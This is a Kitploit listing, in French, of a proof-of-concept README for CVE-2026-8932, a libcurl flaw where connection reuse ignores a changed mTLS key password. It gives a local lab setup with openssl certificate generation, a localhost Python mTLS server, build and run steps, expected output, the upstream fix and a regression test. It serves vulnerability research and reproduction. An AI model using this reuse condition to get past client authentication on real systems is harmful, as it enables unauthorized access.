Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8932-PoC — Preuve de concept reproduisant CVE-2026-8932, une faille de correspondance de configuration mTLS incomplète dans la réutilisation de connexion de libcurl, avec un serveur de laboratoire local et un PoC en C. | Kitploit
Outils/GitHubGitHub/nimaarek/cve-2026-8932-poc
Analyse des VulnérabilitésExploitationCryptographieTests d'IntrusionArticles et RechercheApprentissage et Éducation
GitHubnimaarek/cve-2026-8932-poc

CVE-2026-8932-PoC

Preuve de concept reproduisant CVE-2026-8932, une faille de correspondance de configuration mTLS incomplète dans la réutilisation de connexion de libcurl, avec un serveur de laboratoire local et un PoC en C.

Voir le dépôt
il y a 11h 48mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-8932 PoC

Reproduction de preuve de concept de CVE-2026-8932, un problème de correspondance de configuration mTLS incomplète dans la réutilisation de connexion de libcurl.

Aperçu

CVE-2026-8932 affecte la logique de réutilisation de connexion de libcurl lorsque la configuration mTLS (TLS mutuel) change entre les requêtes.

Dans des conditions vulnérables, libcurl peut réutiliser une connexion TLS existante même si une option de configuration liée à mTLS a changé et aurait dû empêcher la réutilisation de cette connexion.

Ce PoC démontre le problème en changeant le mot de passe de la clé privée entre deux requêtes tout en utilisant le même certificat client et la même clé privée.

La première requête utilise le mot de passe correct :

root@kitploit:~
correct-password

La seconde requête utilise intentionnellement un mot de passe invalide :

root@kitploit:~
WRONG-PASSWORD

Si libcurl réutilise incorrectement la connexion TLS existante, la seconde requête ne nécessite pas un autre handshake TLS. Par conséquent, le mot de passe invalide de la clé privée n'est jamais nécessaire pour établir une nouvelle connexion TLS et la requête réussit.

Le PoC démontre donc la condition de réutilisation de connexion associée à CVE-2026-8932.


Détails de la vulnérabilité

PropriétéValeur
CVECVE-2026-8932
Composantlibcurl
Type de vulnérabilitéCorrespondance de configuration mTLS incomplète
CWECWE-305 — Contournement d'authentification par faiblesse primaire
Zone affectéeRéutilisation de connexion TLS
ProtocoleHTTPS / mTLS
ClientAPI libcurl
CLI curlNon affecté
Portée du PoCEnvironnement de laboratoire local

La vulnérabilité est un problème de correspondance logique/configuration, plutôt qu'une vulnérabilité traditionnelle de sécurité mémoire telle qu'un débordement de tampon ou un use-after-free.


Contexte technique

libcurl maintient les informations de connexion et peut réutiliser une connexion existante lorsqu'une requête ultérieure est considérée comme compatible avec la configuration de la connexion.

Pour les connexions TLS, la configuration de la connexion doit donc être comparée avec soin avant réutilisation.

L'implémentation vulnérable n'incluait pas tous les champs de configuration mTLS pertinents dans la logique de correspondance de connexion.

Parmi les paramètres affectés figurent :

root@kitploit:~
cert_type
key
key_type
key_passwd
key_blob

Le paramètre important utilisé par ce PoC est :

root@kitploit:~
key_passwd

Le PoC établit une connexion TLS en utilisant une clé privée client chiffrée et le mot de passe correct :

root@kitploit:~
correct-password

Il effectue ensuite une autre requête en utilisant le même certificat et la même clé mais change le mot de passe pour :

root@kitploit:~
WRONG-PASSWORD

Une implémentation vulnérable de correspondance de connexion peut toujours considérer la connexion existante comme réutilisable.


Concept du PoC

Le test consiste en deux requêtes HTTP.

Requête A

La première requête établit la connexion TLS :

root@kitploit:~
URL:
https://server.test:8443/A

Certificat client :
client.crt

Clé privée :
client.key

Mot de passe de la clé :
correct-password

La connexion TLS reste persistante car le serveur prend en charge HTTP keep-alive.

Requête B

La seconde requête utilise le même certificat et la même clé privée mais change le mot de passe de la clé :

root@kitploit:~
URL:
https://server.test:8443/B

Certificat client :
client.crt

Clé privée :
client.key

Mot de passe de la clé :
WRONG-PASSWORD

Si libcurl crée une nouvelle connexion TLS, le chargement de la clé privée chiffrée avec le mauvais mot de passe devrait échouer.

Cependant, si libcurl réutilise incorrectement la connexion existante, aucun nouveau handshake TLS n'est nécessaire.

Le mot de passe invalide n'empêche donc pas la requête HTTP de réussir.


Architecture de test

La configuration du laboratoire consiste en :

root@kitploit:~
                         localhost
                            |
                            v
                  +---------------------+
                  | Python mTLS Server  |
                  |   127.0.0.1:8443   |
                  +----------+----------+
                             |
                             | HTTPS / TLS 1.3
                             |
                    +--------+--------+
                    |                 |
                  /A                 /B
                    \                 /
                     \               /
                      v             v
                  Same TLS Connection
                         |
                         v
                     libcurl
                     PoC (C)

L'observation importante est que /A et /B doivent arriver sur la même connexion TLS.


Structure du dépôt

root@kitploit:~
CVE-2026-8932-PoC/
├── README.md
├── LICENSE
├── .gitignore
│
├── certs/
│   └── .gitkeep
│
├── poc/
│   └── poc.c
│
├── server/
│   └── server.py
│
└── docs/
    ├── CVE-2026-8932-POC.jpg
    ├── CVE-2026-8932-server-POC.jpg
    ├── poc-output.txt
    └── server-output.txt

Le répertoire certs/ est intentionnellement laissé vide dans le dépôt. Les certificats et les clés privées doivent être générés localement.


Reproduction

Prérequis

Le PoC a été testé dans l'environnement suivant :

root@kitploit:~
OS:
Debian GNU/Linux 13 (trixie)

Architecture:
x86_64

libcurl:
8.14.1

OpenSSL:
3.5.7

GCC:
14.2.0

L'installation vulnérable de libcurl utilisée pour la reproduction était :

root@kitploit:~
libcurl/8.14.1

Vérifiez la version installée :

root@kitploit:~
curl --version

et :

root@kitploit:~
pkg-config --modversion libcurl

1. Créer le répertoire de laboratoire

root@kitploit:~
mkdir -p ~/cve-2026-8932-lab/{certs,poc,server,docs}

cd ~/cve-2026-8932-lab

2. Générer la CA

root@kitploit:~
cd ~/cve-2026-8932-lab/certs

openssl genrsa -out ca.key 2048

openssl req -x509 -new -nodes \
  -key ca.key \
  -sha256 \
  -days 3650 \
  -subj "/CN=CVE-2026-8932-CA" \
  -out ca.crt

3. Générer le certificat serveur

Générez la clé privée du serveur :

root@kitploit:~
openssl genrsa -out server.key 2048

Générez la CSR :

root@kitploit:~
openssl req -new \
  -key server.key \
  -subj "/CN=server.test" \
  -out server.csr

Créez les extensions du certificat :

root@kitploit:~
printf "subjectAltName=DNS:server.test\nextendedKeyUsage=serverAuth\n" \
  > server.ext

Signez le certificat à l'aide de la CA de test :

root@kitploit:~
openssl x509 -req \
  -in server.csr \
  -CA ca.crt \
  -CAkey ca.key \
  -CAcreateserial \
  -out server.crt \
  -days 3650 \
  -sha256 \
  -extfile server.ext

4. Générer le certificat client

Générez la clé privée du client :

root@kitploit:~
openssl genrsa -out client.key.tmp 2048

Générez la CSR :

root@kitploit:~
openssl req -new \
  -key client.key.tmp \
  -subj "/CN=Client-A" \
  -out client.csr

Convertissez la clé privée au format PKCS#8 chiffré :

root@kitploit:~
openssl pkcs8 \
  -topk8 \
  -in client.key.tmp \
  -out client.key \
  -v2 aes-256-cbc \
  -passout pass:correct-password

La clé privée résultante est chiffrée avec :

root@kitploit:~
correct-password

Créez les extensions du certificat client :

root@kitploit:~
printf "extendedKeyUsage=clientAuth\n" \
  > client.ext

Signez le certificat client :

root@kitploit:~
openssl x509 -req \
  -in client.csr \
  -CA ca.crt \
  -CAkey ca.key \
  -CAcreateserial \
  -out client.crt \
  -days 3650 \
  -sha256 \
  -extfile client.ext

À ce stade, les fichiers requis devraient exister :

root@kitploit:~
certs/
├── ca.crt
├── ca.key
├── client.crt
├── client.key
├── server.crt
└── server.key

5. Démarrer le serveur mTLS

Déplacez-vous dans le répertoire du serveur :

root@kitploit:~
cd ~/cve-2026-8932-lab/server

Démarrez le serveur :

root@kitploit:~
python3 server.py

Le serveur écoute sur :

root@kitploit:~
0.0.0.0:8443

L'authentification par certificat client est requise.

Le serveur maintient également les connexions HTTP/1.1 en vie afin que libcurl puisse réutiliser la connexion TLS.


6. Compiler le PoC

Ouvrez un autre terminal :

root@kitploit:~
cd ~/cve-2026-8932-lab/poc

Compilez :

root@kitploit:~
gcc -Wall -Wextra -O0 -g \
  poc.c \
  $(pkg-config --cflags --libs libcurl) \
  -o poc

7. Exécuter le PoC

Exécutez :

root@kitploit:~
./poc

Le PoC utilise :

root@kitploit:~
Certificat client : client.crt
Clé privée        : client.key

Mot de passe requête A : correct-password
Mot de passe requête B : WRONG-PASSWORD

Comportement vulnérable attendu

La preuve côté client la plus importante est :

root@kitploit:~
[+] STEP 2: Request using modified mTLS configuration
[+] Key password = WRONG-PASSWORD

* Re-using existing https: connection with host server.test
> GET /B HTTP/1.1

La requête reçoit ensuite :

root@kitploit:~
< HTTP/1.1 200 OK

et le PoC rapporte :

root@kitploit:~
[!!!] B REQUEST SUCCEEDED

Ceci est significatif car /B utilise un mot de passe de clé privée intentionnellement invalide.

L'observation clé n'est pas simplement que /B réussit.

La preuve critique est que libcurl rapporte explicitement :

root@kitploit:~
Re-using existing https: connection

Par conséquent, la seconde requête n'a pas besoin d'effectuer un autre handshake TLS en utilisant la configuration de clé modifiée.


Preuve côté serveur

La sortie du serveur fournit une confirmation indépendante de la réutilisation de connexion.

La sortie pertinente est :

root@kitploit:~
[+] TLS connection #2
    Client CN    : Client-A

[+] Connection #2 Client=Client-A Request=GET /A HTTP/1.1
[+] Connection #2 Client=Client-A Request=GET /B HTTP/1.1

L'observation importante est :

root@kitploit:~
/A -> Connection #2
/B -> Connection #2

Les deux requêtes HTTP ont donc été reçues via la même connexion TLS.

Le serveur rapporte également la même identité client :

root@kitploit:~
Client-A

pour les deux requêtes.


Pourquoi le mauvais mot de passe ne provoque pas d'échec TLS

La clé privée utilisée par le PoC est chiffrée.

La première requête utilise :

root@kitploit:~
correct-password

ce qui permet à libcurl/OpenSSL d'accéder à la clé privée et d'établir la connexion TLS.

La seconde requête change la configuration pour :

root@kitploit:~
WRONG-PASSWORD

Si une nouvelle connexion TLS devait être établie, libcurl devrait traiter à nouveau la clé privée chiffrée et le mot de passe incorrect devrait provoquer l'échec de l'opération.

Cependant, lorsque la connexion TLS existante est réutilisée, la session TLS est déjà établie.

Aucune nouvelle opération d'authentification client n'est nécessaire pour /B.

Conceptuellement :

root@kitploit:~
Request A
   |
   | correct-password
   v
TLS handshake
   |
   v
Established TLS connection
   |
   +----------------------+
   |                      |
   v                      v
  /A                     /B
                         |
                   WRONG-PASSWORD
                         |
                         X
              No new TLS handshake
                         |
                         v
                    HTTP succeeds

Réutilisation de connexion vs reprise de session TLS

Ce PoC démontre la réutilisation de connexion, et non la reprise de session TLS.

Les deux mécanismes sont différents.

Réutilisation de connexion

Une connexion TLS déjà établie reste ouverte et est utilisée pour une autre requête HTTP :

root@kitploit:~
TLS connection #2
    |
    +-- GET /A
    |
    +-- GET /B

Aucun second handshake TLS n'est nécessaire.

Reprise de session TLS

Une nouvelle connexion TCP/TLS est créée, mais les informations de session cryptographique d'une connexion antérieure sont utilisées pour raccourcir le nouveau handshake TLS.

Ce n'est pas ce sur quoi ce PoC repose.

Le PoC partage intentionnellement :

root@kitploit:~
CURL_LOCK_DATA_CONNECT

entre les deux easy handles sans partager :

root@kitploit:~
CURL_LOCK_DATA_SSL_SESSION

Cela maintient la démonstration centrée sur la réutilisation de connexion.


Preuves

Le dépôt contient la sortie capturée de la reproduction réussie.

Sortie du PoC côté client

PoC output

La sortie capturée démontre :

  • la version de libcurl
  • la connexion TLS initiale
  • la requête /A réussie
  • le mot de passe de clé modifié
  • Re-using existing https: connection
  • la requête /B réussie

La sortie complète du terminal est également disponible dans :

root@kitploit:~
docs/poc-output.txt

Sortie côté serveur

Server output

La preuve côté serveur démontre que :

root@kitploit:~
/A -> TLS connection #2
/B -> TLS connection #2

La sortie complète du serveur est disponible dans :

root@kitploit:~
docs/server-output.txt

Note importante sur les numéros de connexion

Si un test curl manuel est effectué avant d'exécuter le PoC, le serveur peut afficher une connexion antérieure :

root@kitploit:~
TLS connection #1

Cette connexion n'est pas liée à l'exécution réelle du PoC.

Par exemple, la requête de validation manuelle :

root@kitploit:~
curl \
  --resolve server.test:8443:127.0.0.1 \
  --cacert ~/cve-2026-8932-lab/certs/ca.crt \
  --cert ~/cve-2026-8932-lab/certs/client.crt \
  --key ~/cve-2026-8932-lab/certs/client.key \
  --pass correct-password \
  https://server.test:8443/A

peut créer la connexion #1.

Le PoC réel peut ensuite créer la connexion #2.

La condition pertinente n'est donc pas le numéro absolu de connexion, mais que :

root@kitploit:~
/A and /B

apparaissent sur la même connexion TLS pendant l'exécution du PoC.


Correctif libcurl pertinent

Le correctif amont est :

root@kitploit:~
7541ae569d82fb308a5e2d94916027da4fa3ba3e

Commit :

root@kitploit:~
tls: fix incomplete mTLS config in conn reuse and session cache

Le correctif ajoute les comparaisons de configuration mTLS manquantes à la logique de correspondance de connexion.

Conceptuellement, la logique de correspondance considère désormais des valeurs incluant :

root@kitploit:~
blobcmp(c1->key_blob, c2->key_blob) &&
curl_strequal(c1->cert_type, c2->cert_type) &&
Curl_safecmp(c1->key, c2->key) &&
curl_strequal(c1->key_type, c2->key_type) &&
!Curl_timestrcmp(c1->key_passwd, c2->key_passwd)

Le changement important pour ce PoC est la comparaison de :

root@kitploit:~
key_passwd

Une modification du mot de passe de la clé privée devrait donc empêcher la connexion existante d'être considérée comme compatible pour réutilisation.


Test de régression

Le correctif amont a également introduit une couverture de régression pour le comportement de correspondance de configuration TLS.

Le test pertinent est associé à :

root@kitploit:~
test 3303

Les tests de régression couvrent les différences de configuration mTLS incluant :

root@kitploit:~
key_passwd
key
key_type
cert_type

Par exemple, des configurations identiques devraient correspondre :

root@kitploit:~
config A == config B

tandis que changer le mot de passe de la clé ne devrait pas :

root@kitploit:~
config A key_passwd = password-A
config B key_passwd = password-B

        ↓

connection match = false

C'est la même dimension de configuration exercée par ce PoC.


Dépannage

/B échoue

Si /B échoue, vérifiez d'abord si libcurl a réellement réutilisé la connexion.

La sortie verbeuse devrait contenir :

root@kitploit:~
Re-using existing https: connection

Si cette ligne n'apparaît pas, la condition de vulnérabilité n'a pas été démontrée.


/A et /B apparaissent sur différentes connexions TLS

Le serveur devrait afficher :

root@kitploit:~
Connection #X -> /A
Connection #X -> /B

Si au lieu de cela vous voyez :

root@kitploit:~
Connection #X -> /A
Connection #Y -> /B

alors la seconde requête a créé une nouvelle connexion TLS et la condition souhaitée n'a pas été reproduite.

Vérifiez que :

  • CURL_LOCK_DATA_CONNECT est partagé.
  • CURLOPT_FORBID_REUSE n'est pas activé.
  • CURLOPT_FRESH_CONNECT n'est pas activé.
  • Le serveur envoie Connection: keep-alive.
  • HTTP/1.1 est utilisé.
  • Les deux requêtes ciblent le même hôte et le même port.

Erreurs de mot de passe de clé privée

La clé privée du client doit être générée en utilisant :

root@kitploit:~
correct-password

Le PoC utilise ensuite intentionnellement :

root@kitploit:~
WRONG-PASSWORD

Ne modifiez pas le mot de passe intégré dans la commande de génération de clé privée à moins que la valeur correspondante du PoC ne soit également modifiée.


Considérations de sécurité

Ce dépôt est destiné à la recherche en sécurité contrôlée et à la reproduction de vulnérabilités.

Le PoC est conçu pour fonctionner contre un serveur de test hébergé localement :

root@kitploit:~
127.0.0.1:8443

N'utilisez pas le PoC contre des systèmes sans autorisation.

Les clés privées et les certificats générés doivent rester en dehors du contrôle de version.

Le dépôt ne doit contenir que :

root@kitploit:~
certs/.gitkeep

plutôt que des clés privées générées.


Références

  • curl Security Advisory — CVE-2026-8932
  • curl commit — tls: fix incomplete mTLS config in conn reuse and session cache
  • curl source repository

Crédits

La conception du PoC, la méthodologie de laboratoire, l'implémentation et l'analyse technique ont été développées par AliReza avec l'assistance d'OpenAI ChatGPT (GPT-5.6 Luna).

La vérification humaine, l'exécution, les tests et la reproduction ont été effectués par l'auteur du dépôt.


Avertissement

Ce dépôt est fourni à des fins de recherche en sécurité, d'analyse de vulnérabilités et d'éducation.

Utilisez-le uniquement dans des systèmes et environnements pour lesquels vous disposez d'une autorisation explicite.

Télécharger l’outil